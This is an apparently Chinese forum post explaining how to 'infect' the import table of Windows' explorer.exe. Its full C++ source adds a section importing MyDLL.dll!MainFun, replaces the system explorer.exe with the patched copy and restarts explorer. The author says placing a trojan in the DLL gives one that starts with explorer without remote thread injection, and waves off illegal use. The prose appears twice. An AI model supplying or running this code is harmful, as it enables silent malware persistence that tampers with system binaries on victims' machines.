作 者:xiaoboshi
时 间:2010-01-07 13:17:14
我想大家都有过向可执行文件中添加导入函数的经历吧,尤其是软件diy的时候,有些函数没有被导入怎么办呢,一般的做法是通过pe编辑工具,例如顶顶大名的Loadpe。可是这些软件是怎样实现的呢,我想没有多少人是彻底弄明白的吧。前些日子由于本人碰到了一个问题,需要通过程序往指定文件添加导入函数,刚开始我也是手足无措的,因为从没有这方面的经验,以前只写过pe信息查看方面的小工具,对于pe编辑不知从何下手,于是请教百度大叔,可叫我郁闷的是这方面的资料相当少,如此强大的百度搜出的有用信息也非常有限,搜了半天也就搜到了一个怎么添加节的代码,添加导入函数的根本就没有。我就不明白了,这又不是什么高端技术,为什么网上会欠缺这方面的资料呢,难道是太简单了,可是这么简单的功能又有多少人会,当然我就是其中不会的。我相信很多想写PE编辑工具的作者也都被困扰过吧,相信最终也有写出来的,因为这不是难度很高的技术,可是为什么不把你们的源码公布出来呢,让我们这些菜鸟也少走些弯路呢。
好了,让大家见笑,发了不少牢骚,浪费大家的宝贵时间了,下面我就说说主要的实现思路,然后再把源码贴出来,对于写程序的来说,源码胜于一切。这个方法我也是从LoadPE借鉴来的,我发现通过LoadPE给可执行文件添加新的导入函数后,源文件会多出一个Silvana的新节,进一步探索,发现LoadPE先是添加新节,然后在新节中写入导入函数所在DLL的名字,再就是写入函数名,接下来写入一些必要的结构,最后就是更新需要修改文件的PE结构。基本的思路就是这样了,当然这样笼统的说下是远远不够的,下面我就贴出实现的源码。
由于本文的标题是感染导入表方法,所以就有了那么点病毒的味道,当然我也不能对不起这个标题,同时也不能对不起冲这个标题来的读者。所以我下面的源码是拿explorer.exe开刀的,我在explorer.exe中添加了MyDLL.dll的一个导出函数MainFun,如果你想先看看效果可以先把附件下下来,把其中的MyDLL.dll放入环境变量path目录中,例如system32目录就可满足你的需要,然后运行InfectImport.exe,你会看到一个对话框“MainFun成功导入explorer.exe”,因为我在dll被加载时启动了一个线程,然后输出这句话,是不是有点小题大作了,呵呵,一点也没有小题大作,当把木马程序放入线程函数中就会成为一个不需要远程线程注入的随explorer.exe启动的木马了,是不是有点心动啊,呵呵,不过还是不要干非法勾当为好,技术交流就好。
以下为源代码,在vc++6.0中编译通过
以上就是我辛辛苦苦探索的结果了,希望各位不要嫌弃,由于本人编码水平并不是太高,所以考虑不周之处在所难免,若有高人看出,希望不吝赐教。在实现上面功能的过程当中,我也产生了很多的困惑,到如今都还是不太明白,在代码的注释当中我就说了一处,为什么非得把第一节的属性更新为0xE0000020,若不这样做,程序就不能正常初始化,刚开始我就忽略了这个地方,导致郁闷了很久,后来与loadPE修改过的文件一比较,终于恍然大悟,改后果然顺利运行。还有一个疑惑是与vc++6.0的编译器相关的,编译出来的debug版本修改过的explorer.exe顺利运行,编译出来的release版本修改过的explorer.exe不能运行,pe工具查看发现节的数目不正确,这叫我又郁闷了好一阵,我怀疑是编译器的优化造成的,默认的优化方式是最快速度,我把它改为默认,重新编译源文件后,一切正常。在这点上我提醒各位看客,如果想尝试自己编译上面的代码,请修改优化方式为默认就可以了。好了,以上就是我的成果以及一些困惑,希望大家各取所需,同时在拿的时候也不要忘了想想我提的问题。
源码下载:
感染导入表: 37161.rar
还原修改过的文件: 37171.rar
时 间:2010-01-07 13:17:14
我想大家都有过向可执行文件中添加导入函数的经历吧,尤其是软件diy的时候,有些函数没有被导入怎么办呢,一般的做法是通过pe编辑工具,例如顶顶大名的Loadpe。可是这些软件是怎样实现的呢,我想没有多少人是彻底弄明白的吧。前些日子由于本人碰到了一个问题,需要通过程序往指定文件添加导入函数,刚开始我也是手足无措的,因为从没有这方面的经验,以前只写过pe信息查看方面的小工具,对于pe编辑不知从何下手,于是请教百度大叔,可叫我郁闷的是这方面的资料相当少,如此强大的百度搜出的有用信息也非常有限,搜了半天也就搜到了一个怎么添加节的代码,添加导入函数的根本就没有。我就不明白了,这又不是什么高端技术,为什么网上会欠缺这方面的资料呢,难道是太简单了,可是这么简单的功能又有多少人会,当然我就是其中不会的。我相信很多想写PE编辑工具的作者也都被困扰过吧,相信最终也有写出来的,因为这不是难度很高的技术,可是为什么不把你们的源码公布出来呢,让我们这些菜鸟也少走些弯路呢。
好了,让大家见笑,发了不少牢骚,浪费大家的宝贵时间了,下面我就说说主要的实现思路,然后再把源码贴出来,对于写程序的来说,源码胜于一切。这个方法我也是从LoadPE借鉴来的,我发现通过LoadPE给可执行文件添加新的导入函数后,源文件会多出一个Silvana的新节,进一步探索,发现LoadPE先是添加新节,然后在新节中写入导入函数所在DLL的名字,再就是写入函数名,接下来写入一些必要的结构,最后就是更新需要修改文件的PE结构。基本的思路就是这样了,当然这样笼统的说下是远远不够的,下面我就贴出实现的源码。
由于本文的标题是感染导入表方法,所以就有了那么点病毒的味道,当然我也不能对不起这个标题,同时也不能对不起冲这个标题来的读者。所以我下面的源码是拿explorer.exe开刀的,我在explorer.exe中添加了MyDLL.dll的一个导出函数MainFun,如果你想先看看效果可以先把附件下下来,把其中的MyDLL.dll放入环境变量path目录中,例如system32目录就可满足你的需要,然后运行InfectImport.exe,你会看到一个对话框“MainFun成功导入explorer.exe”,因为我在dll被加载时启动了一个线程,然后输出这句话,是不是有点小题大作了,呵呵,一点也没有小题大作,当把木马程序放入线程函数中就会成为一个不需要远程线程注入的随explorer.exe启动的木马了,是不是有点心动啊,呵呵,不过还是不要干非法勾当为好,技术交流就好。
以下为源代码,在vc++6.0中编译通过
#include <windows.h> #include <IMAGEHLP.H> #include <stdio.h> #pragma comment(lib,"IMAGEHLP.lib") //用来计算对齐数据后的大小 int alig(int size,unsigned int align) { if(size%align!=0) return (size/align+1)*align; else return size; } int main() { char WinPath[MAX_PATH]; char FilePath[MAX_PATH]; char NewPath[MAX_PATH]; char TemPath[MAX_PATH]; char LogPath[MAX_PATH]; FILE* fp; ::GetWindowsDirectory(WinPath,sizeof(WinPath)); //获取windows所在目录 ::memcpy(FilePath,WinPath,sizeof(WinPath)); ::memcpy(NewPath,WinPath,sizeof(WinPath)); ::memcpy(TemPath,WinPath,sizeof(WinPath)); ::memcpy(LogPath,WinPath,sizeof(WinPath)); ::strcat(FilePath,"\\explorer.exe"); //得到原文件路径 ::strcat(NewPath,"\\explorer1.exe"); //修改文件路径 ::strcat(TemPath,"\\temp.mainst"); //临时文件路径 ::strcat(LogPath,"\\log.dat"); //log文件路径,防止修改修改过的explorer.exe //拷贝原始文件,为修改做准备 ::CopyFile(FilePath,NewPath,false); ::CopyFile(FilePath,TemPath,false); fp=::fopen(LogPath,"r"); if(fp != NULL) { MessageBox(NULL,"explorer.exe已被修改过!","提示",MB_OK); return 1; } //打开需要修改的文件 fp=::fopen(NewPath,"rb+"); if(fp==NULL) { ::DeleteFile(NewPath); ::DeleteFile(TemPath); return 0; } //往explorer.exe中添加我们准备好的函数 LOADED_IMAGE img; HANDLE hFile; PUCHAR lpBaseAddr; PIMAGE_NT_HEADERS lpPEhead; PIMAGE_IMPORT_DESCRIPTOR lpImport,lpNewImport; ULONG ImportSize,NewImportSize; PIMAGE_SECTION_HEADER lpFirstSection; //保存文件对齐值与区块对齐值 int SECTION_ALIG; int FILE_ALIG; int fre=0; int i=0; int nOldSectionNo; DWORD NewSecRVA,NewOffset,ThunkRVA,ImportRVA; IMAGE_SECTION_HEADER NewSection;//要添加的区块 IMAGE_NT_HEADERS NewNThead; memset(&NewSection, 0, sizeof(IMAGE_SECTION_HEADER)); IMAGE_SECTION_HEADER LastSection; //再定义一个区块,来保存原文件最后一个区块的信息 //对以下使用的函数如果不太熟悉的,可以看看与PE文件相关的函数 if(MapAndLoad("temp.mainst",WinPath,&img,false,false)) //获得PE文件相关数据 { hFile=img.hFile; lpBaseAddr=img.MappedAddress; lpPEhead=img.FileHeader; lpImport=(PIMAGE_IMPORT_DESCRIPTOR)ImageDirectoryEntryToData (lpBaseAddr,FALSE,IMAGE_DIRECTORY_ENTRY_IMPORT,&ImportSize); ImportSize=lpPEhead->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size; nOldSectionNo=lpPEhead->FileHeader.NumberOfSections; SECTION_ALIG=lpPEhead->OptionalHeader.SectionAlignment; FILE_ALIG=lpPEhead->OptionalHeader.FileAlignment; lpFirstSection=img.Sections; NewImportSize=ImportSize+sizeof(IMAGE_IMPORT_DESCRIPTOR); //获取最后一个节 memcpy(&LastSection,(PIMAGE_SECTION_HEADER)((DWORD)img.Sections+sizeof(IMAGE_SECTION_HEADER)*(nOldSectionNo-1)),sizeof(IMAGE_SECTION_HEADER)); //计算新节的RVA NewSecRVA=LastSection.VirtualAddress+alig(LastSection.Misc.VirtualSize,SECTION_ALIG); //计算新节的文件偏移 NewOffset=LastSection.PointerToRawData+alig(LastSection.SizeOfRawData,FILE_ALIG); //写入DLL名 fseek(fp,NewOffset,SEEK_SET); fre=sizeof("MyDLL.dll"); ::fwrite("MyDLL.dll",sizeof("MyDLL.dll"),1,fp); //准备IMAGE_IMPORT_BY_NAME结构 IMAGE_IMPORT_BY_NAME ImportFun; ImportFun.Hint=0; memcpy(ImportFun.Name,"MainFun",sizeof("MainFun")); DWORD ThunkData[2]; ThunkData[0]=NewSecRVA+fre; ThunkData[1]=0; //写入IMAGE_IMPORT_BY_NAME结构 fseek(fp,NewOffset+fre,SEEK_SET); fre+=sizeof("MainFun")+sizeof(WORD); ::fwrite(&ImportFun,sizeof("MainFun")+sizeof(WORD),1,fp); fseek(fp,NewOffset+fre,SEEK_SET); ThunkRVA=NewSecRVA+fre; fre+=sizeof(DWORD)*2; ::fwrite(ThunkData,sizeof(DWORD)*2,1,fp); ImportRVA=NewSecRVA+fre; //准备新导入表结构,用来写入新文件 lpNewImport=(PIMAGE_IMPORT_DESCRIPTOR)::malloc(NewImportSize); memset(lpNewImport,0,NewImportSize); memcpy(lpNewImport,lpImport,ImportSize); //在导入表尾部组织一个新的导入项 while(1) { if(lpNewImport[i].OriginalFirstThunk == 0 && lpNewImport[i].TimeDateStamp == 0 && lpNewImport[i].ForwarderChain == 0 && lpNewImport[i].Name == 0 && lpNewImport[i].FirstThunk == 0) { lpNewImport[i].Name=NewSecRVA; lpNewImport[i].TimeDateStamp=0; lpNewImport[i].ForwarderChain=0; lpNewImport[i].FirstThunk=ThunkRVA; lpNewImport[i].OriginalFirstThunk=ThunkRVA; break; } else i++; } fseek(fp,NewOffset+fre,SEEK_SET); fre += NewImportSize; fwrite(lpNewImport,NewImportSize,1,fp); ::free(lpNewImport); //文件对齐 int num=alig(fre,FILE_ALIG)-fre; for(i=0; i<num; i++) fputc('\0',fp); //添加名为.newsec的新节 strcpy((char*)NewSection.Name,".newsec"); NewSection.VirtualAddress=NewSecRVA; NewSection.PointerToRawData=NewOffset; NewSection.Misc.VirtualSize=alig(fre,SECTION_ALIG); NewSection.SizeOfRawData=alig(fre,FILE_ALIG); NewSection.Characteristics=0xC0000040; fseek(fp,((DWORD)lpFirstSection-(DWORD)lpBaseAddr)+sizeof(IMAGE_SECTION_HEADER)*nOldSectionNo,0); //写入新的节表 fwrite(&NewSection,sizeof(IMAGE_SECTION_HEADER),1,fp); //更新第一块节表属性 //此处为我困惑的地方,为什么要把第一个节的属性设为0xE0000020 //这个结论我是从比较loadPE修改过的文件中得出的 //如果没有此处工作,修改后的文件无法正常运行 //希望高人能给我解答下 memcpy(&NewSection,lpFirstSection,sizeof(IMAGE_SECTION_HEADER)); NewSection.Characteristics=0xE0000020; fseek(fp,(DWORD)lpFirstSection-(DWORD)lpBaseAddr,SEEK_SET); fwrite(&NewSection,sizeof(IMAGE_SECTION_HEADER),1,fp); memcpy(&NewNThead,lpPEhead,sizeof(IMAGE_NT_HEADERS)); int nNewImageSize=lpPEhead->OptionalHeader.SizeOfImage+alig(fre,SECTION_ALIG); NewNThead.OptionalHeader.SizeOfImage=nNewImageSize; NewNThead.OptionalHeader.DataDirectory[11].Size=0; NewNThead.OptionalHeader.DataDirectory[11].VirtualAddress=0; NewNThead.OptionalHeader.DataDirectory[12].Size=0; NewNThead.OptionalHeader.DataDirectory[12].VirtualAddress=0; NewNThead.FileHeader.NumberOfSections=nOldSectionNo+1; NewNThead.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress=ImportRVA; NewNThead.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size=NewImportSize; fseek(fp,(DWORD)(lpPEhead)-(DWORD)lpBaseAddr,SEEK_SET); //写入更新后的PE头 fwrite(&NewNThead,sizeof(IMAGE_NT_HEADERS),1,fp); fclose(fp); UnMapAndLoad(&img); } else { ::DeleteFile(NewPath); ::DeleteFile(TemPath); return 0; } //删除临时文件 ::DeleteFile(TemPath); //干掉explorer.exe ::rename(FilePath,TemPath); //让我们修改过后的替换掉explorer.exe ::rename(NewPath,FilePath); //创建日志文件,以免重复修改 fp=::fopen(LogPath,"w"); fclose(fp); //重新运行explorer ::system("taskkill /F /im explorer.exe"); ::system("explorer.exe"); return 1; }
以上就是我辛辛苦苦探索的结果了,希望各位不要嫌弃,由于本人编码水平并不是太高,所以考虑不周之处在所难免,若有高人看出,希望不吝赐教。在实现上面功能的过程当中,我也产生了很多的困惑,到如今都还是不太明白,在代码的注释当中我就说了一处,为什么非得把第一节的属性更新为0xE0000020,若不这样做,程序就不能正常初始化,刚开始我就忽略了这个地方,导致郁闷了很久,后来与loadPE修改过的文件一比较,终于恍然大悟,改后果然顺利运行。还有一个疑惑是与vc++6.0的编译器相关的,编译出来的debug版本修改过的explorer.exe顺利运行,编译出来的release版本修改过的explorer.exe不能运行,pe工具查看发现节的数目不正确,这叫我又郁闷了好一阵,我怀疑是编译器的优化造成的,默认的优化方式是最快速度,我把它改为默认,重新编译源文件后,一切正常。在这点上我提醒各位看客,如果想尝试自己编译上面的代码,请修改优化方式为默认就可以了。好了,以上就是我的成果以及一些困惑,希望大家各取所需,同时在拿的时候也不要忘了想想我提的问题。
源码下载:
感染导入表: 37161.rar
还原修改过的文件: 37171.rar